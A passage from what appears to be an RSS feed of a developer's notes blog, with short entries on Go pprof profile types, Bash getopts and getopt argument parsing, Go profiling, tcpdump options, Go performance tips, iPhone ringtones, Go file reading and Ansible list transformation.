&lt;td>Can open in a browser; shows ./go-pprof-practice&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>goroutine&lt;/td>
&lt;td>Stacks of all current goroutines&lt;/td>
&lt;td>Can open in a browser, but readability is low&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>heap&lt;/td>
&lt;td>Samples of heap memory usage&lt;/td>
&lt;td>Can open in a browser, but readability is low&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>mutex&lt;/td>
&lt;td>Samples of lock contention&lt;/td>
&lt;td>Can open in a browser, but readability is low&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>profile&lt;/td>
&lt;td>Samples of CPU usage&lt;/td>
&lt;td>Opening in a browser downloads a file&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>threadcreate&lt;/td>
&lt;td>Samples of system thread creation&lt;/td>
&lt;td>Can open in a browser, but readability is low&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>trace&lt;/td>
&lt;td>Program execution traces&lt;/td>
&lt;td>Opening in a browser downloads a file; not covered here, see Go trace&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>&lt;strong>Investigate high CPU usage&lt;/strong>&lt;/p></description></item><item><title>Parse Command Line Arguments in Bash</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220607-bash-parse-command-line-arguments/</link><pubDate>Tue, 07 Jun 2022 14:48:47 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220607-bash-parse-command-line-arguments/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/bash-parse-command-line-arguments" target="_blank" rel="noopener">Parse Command Line Arguments in Bash&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="getopts">getopts&lt;/h3>
&lt;blockquote>
&lt;p>&lt;code>getopts optstring opt [arg ...]&lt;/code>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">while&lt;/span> getopts &lt;span style="color:#e6db74">&amp;#39;abc:h&amp;#39;&lt;/span> opt; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">case&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$opt&lt;span style="color:#e6db74">&amp;#34;&lt;/span> in
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> a&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;a&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> b&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;b&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> c&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> arg&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>$OPTARG&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;c&amp;#39; with &amp;#39;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>OPTARG&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#39; argument&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ?|h&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Usage: &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>basename $0&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74"> [-a] [-b] [-c arg]&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">esac&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shift &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$((&lt;/span>$OPTIND &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#66d9ef">))&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>optstring represents the supported options. The option expects an argument if there is a colon (:) after it. For instance, if option c expects an argument, then it would be represented as c: in the optstring&lt;/li>
&lt;li>When an option has an associated argument, then getopts stores the argument as a string in the OPTARG shell variable. For instance, the argument passed to option c would be stored in the OPTARG variable.&lt;/li>
&lt;li>opt contains the parsed option.&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">while&lt;/span> getopts &lt;span style="color:#e6db74">&amp;#39;:abc:h&amp;#39;&lt;/span> opt; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">case&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$opt&lt;span style="color:#e6db74">&amp;#34;&lt;/span> in
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> a&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;a&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> b&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;b&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> c&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> arg&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>$OPTARG&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;c&amp;#39; with &amp;#39;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>OPTARG&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#39; argument&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> h&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Usage: &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>basename $0&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74"> [-a] [-b] [-c arg]&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> :&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo -e &lt;span style="color:#e6db74">&amp;#34;option requires an argument.\nUsage: &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>basename $0&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74"> [-a] [-b] [-c arg]&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ?&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo -e &lt;span style="color:#e6db74">&amp;#34;Invalid command option.\nUsage: &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>basename $0&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74"> [-a] [-b] [-c arg]&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">esac&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shift &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$((&lt;/span>$OPTIND &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#66d9ef">))&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Note that we&amp;rsquo;ve updated optstring as well. Now it starts with the colon(:) character, which suppresses the default error message.&lt;/li>
&lt;li>The getopts function disables error reporting when the OPTERR variable is set to zero.&lt;/li>
&lt;/ul>
&lt;h3 id="parsing-long-command-line-options-with-getopt">Parsing Long Command-Line Options With getopt&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>VALID_ARGS&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>getopt -o abg:d: --long alpha,beta,gamma:,delta: -- &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$@&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#f92672">[[&lt;/span> $? -ne &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">]]&lt;/span>; &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit 1;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eval set -- &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$VALID_ARGS&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">while&lt;/span> &lt;span style="color:#f92672">[&lt;/span> : &lt;span style="color:#f92672">]&lt;/span>; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">case&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$1&lt;span style="color:#e6db74">&amp;#34;&lt;/span> in
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -a | --alpha&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing &amp;#39;alpha&amp;#39; option&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shift
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -b | --beta&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing &amp;#39;beta&amp;#39; option&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shift
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -g | --gamma&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing &amp;#39;gamma&amp;#39; option. Input argument is &amp;#39;&lt;/span>$2&lt;span style="color:#e6db74">&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shift &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -d | --delta&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing &amp;#39;delta&amp;#39; option. Input argument is &amp;#39;&lt;/span>$2&lt;span style="color:#e6db74">&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shift &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> --&lt;span style="color:#f92672">)&lt;/span> shift;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> break
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">esac&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>-o&lt;/code> option represents the short command-line options&lt;/li>
&lt;li>&lt;code>--long&lt;/code> option represents the long command-line options&lt;/li>
&lt;/ul></description></item><item><title>Go code refactoring : the 23x performance hunt</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220607-go-code-refactoring-the-23x-performance-hunt/</link><pubDate>Tue, 07 Jun 2022 13:42:07 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220607-go-code-refactoring-the-23x-performance-hunt/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/@val_deleplace/go-code-refactoring-the-23x-performance-hunt-156746b522f7" target="_blank" rel="noopener">Go code refactoring : the 23x performance hunt&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ go test -bench&lt;span style="color:#f92672">=&lt;/span>. -cpuprofile cpu.prof
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go tool pprof -svg cpu.prof &amp;gt; cpu.svg
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ go test -bench&lt;span style="color:#f92672">=&lt;/span>. -trace trace.out
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go tool trace trace.out
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Dockertest: A Fast Way to Set Up Integration Test Environments</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220512-dockertest/</link><pubDate>Thu, 12 May 2022 16:43:31 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220512-dockertest/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://cn-sec.com/archives/998286.html" target="_blank" rel="noopener">Dockertest: A Fast Way to Set Up Integration Test Environments&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/ory/dockertest" target="_blank" rel="noopener">dockertest&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Tcpdump Usage Summary</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220505-tcpdump/</link><pubDate>Thu, 05 May 2022 13:39:10 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220505-tcpdump/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://markrepo.github.io/commands/2018/06/23/tcpdump/" target="_blank" rel="noopener">Tcpdump Usage Summary&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="command-usage">Command usage&lt;/h2>
&lt;p>tcpdump uses the command line. The command format is:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>tcpdump &lt;span style="color:#f92672">[&lt;/span> -AdDeflLnNOpqRStuUvxX &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -c count &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -C file_size &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -F file &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -i interface &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -m module &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -M secret &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -r file &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -s snaplen &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -T type &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -w file &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -W filecount &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -E spi@ipaddr algo:secret, ... &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> -y datalinktype &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -Z user &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> expression &lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="simple-option-notes-for-tcpdump">Simple option notes for tcpdump&lt;/h3>
&lt;ul>
&lt;li>&lt;code>-E spi@ipaddr algo:secret , ...&lt;/code> can decrypt IPsec ESP packets using &lt;code>spi@ipaddr algo:secret&lt;/code>. The secret is the ESP key, expressed as an ASCII string. If it starts with &lt;code>0x&lt;/code>, the key is read as hex. In addition to the syntax above (&lt;code>spi@ipaddr algo:secret&lt;/code>), you can append a syntax input filename for tcpdump to use (replace &amp;hellip; in &lt;code>spi@ipaddr algo:secret, ...&lt;/code> with a syntax filename). This file is opened when the first ESP packet arrives, so it is best to drop some privileges at that time (to reduce risk if the file is malicious).&lt;/li>
&lt;li>&lt;code>-T type&lt;/code> forces tcpdump to analyze packets according to the protocol structure specified by type. Known type values include:
&lt;ul>
&lt;li>&lt;code>aodv&lt;/code> (Ad-hoc On-demand Distance Vector protocol, used in Ad hoc peer-to-peer networks)&lt;/li>
&lt;li>&lt;code>cnfp&lt;/code> (Cisco NetFlow protocol)&lt;/li>
&lt;li>&lt;code>rpc&lt;/code> (Remote Procedure Call)&lt;/li>
&lt;li>&lt;code>rtp&lt;/code> (Real-Time Applications protocol)&lt;/li>
&lt;li>&lt;code>rtcp&lt;/code> (Real-Time Applications control protocol)&lt;/li>
&lt;li>&lt;code>snmp&lt;/code> (Simple Network Management Protocol)&lt;/li>
&lt;li>&lt;code>tftp&lt;/code> (Trivial File Transfer Protocol)&lt;/li>
&lt;li>&lt;code>vat&lt;/code> (Visual Audio Tool, an application-layer protocol used for video conferencing on the internet)&lt;/li>
&lt;li>&lt;code>wb&lt;/code> (distributed White Board, an application-layer protocol for online meetings)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="practical-command-examples">Practical command examples&lt;/h3>
&lt;p>&lt;strong>Capture communication between host 210.27.48.1 and host 210.27.48.2 or 210.27.48.3&lt;/strong>&lt;/p></description></item><item><title>Go High-Performance Programming Handbook (Long Read)</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220422-go-high-performance-programming-manual/</link><pubDate>Fri, 22 Apr 2022 18:01:43 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220422-go-high-performance-programming-manual/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s/iSxWFsnNLGgilzKIsSDBgg" target="_blank" rel="noopener">Go High-Performance Programming Handbook (Long Read)&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="common-data-structures">Common data structures&lt;/h4>
&lt;p>&lt;strong>Reflection is nice, but don&amp;rsquo;t overuse it&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Prefer &lt;code>strconv&lt;/code> over &lt;code>fmt&lt;/code>&lt;/li>
&lt;li>A small amount of repetition is not worse than reflection&lt;/li>
&lt;li>Use &lt;code>binary.Read&lt;/code> and &lt;code>binary.Write&lt;/code> with caution
&lt;ul>
&lt;li>&lt;code>binary.Read&lt;/code> and &lt;code>binary.Write&lt;/code> use reflection and are slow. If you need these two functions, implement the required logic manually instead of using them directly.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Avoid repeated conversions from string to byte slice&lt;/strong>&lt;/p>
&lt;p>&lt;strong>Specify container (slice/map) capacity&lt;/strong>&lt;/p></description></item><item><title>How to Make an iPhone Ringtone: Turn an MP3 into a Ringtone or Alarm</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220410-iphone-ringtone-mp3/</link><pubDate>Sun, 10 Apr 2022 20:01:37 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220410-iphone-ringtone-mp3/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.tech-girlz.com/2020/08/iphone-ringtone-mp3.html/amp" target="_blank" rel="noopener">How to Make an iPhone Ringtone: Turn an MP3 into a Ringtone or Alarm&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://youtu.be/zA376ii82U0" target="_blank" rel="noopener">Video version of the iPhone ringtone steps&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="step-1-prepare-the-mp3-you-want-to-use-as-an-iphone-ringtone">Step 1: Prepare the MP3 you want to use as an iPhone ringtone&lt;/h5>
&lt;p>First, prepare the music you want to use as a ringtone. MP3 is recommended. Save it in the Files app.&lt;/p>
&lt;h5 id="step-2-make-an-iphone-ringtone-with-garageband">Step 2: Make an iPhone ringtone with GarageBand&lt;/h5>
&lt;p>Next, open the built-in GarageBand app on iPhone (re-download it if you deleted it), tap &amp;ldquo;Create Song&amp;rdquo;, and choose &amp;ldquo;Recorder&amp;rdquo;.&lt;/p></description></item><item><title>How to Choose a Go File Reading Approach</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220329-go-read-file/</link><pubDate>Tue, 29 Mar 2022 16:15:34 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220329-go-read-file/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s/Z-19Yj8Je7Wb9bqvMR35Cg" target="_blank" rel="noopener">How to Choose a Go File Reading Approach&lt;/a>&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>Go provides one-shot methods for reading file content: &lt;code>os.ReadFile&lt;/code> and &lt;code>ioutil.ReadFile&lt;/code>. Starting from Go 1.16, &lt;code>ioutil.ReadFile&lt;/code> is equivalent to &lt;code>os.ReadFile&lt;/code>.&lt;/p>
&lt;p>The pros and cons of loading a file in one shot are obvious: it reduces IO operations, but it loads the entire file into memory. For large files, this risks running out of memory.&lt;/p>&lt;/blockquote>
&lt;h4 id="read-line-by-line">Read line by line&lt;/h4>
&lt;p>In Go, the bufio.Reader type provides ReadLine(), but in practice we more often use ReadBytes(&amp;rsquo;\n&amp;rsquo;) or ReadString(&amp;rsquo;\n&amp;rsquo;).&lt;/p></description></item><item><title>Convert a List to a List of Dicts</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220309-how-to-transform-list-to-object-list/</link><pubDate>Wed, 09 Mar 2022 11:26:23 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220309-how-to-transform-list-to-object-list/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ansible.cloudns.pro/post/how-to-transform-list-to-object-list/" target="_blank" rel="noopener">Convert a List to a List of Dicts&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="list">list&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">my_users&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">aaa&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">bbb&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">ccc&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="dict">dict&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">my_users&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">Name&lt;/span>: &lt;span style="color:#ae81ff">aaa&lt;/span>
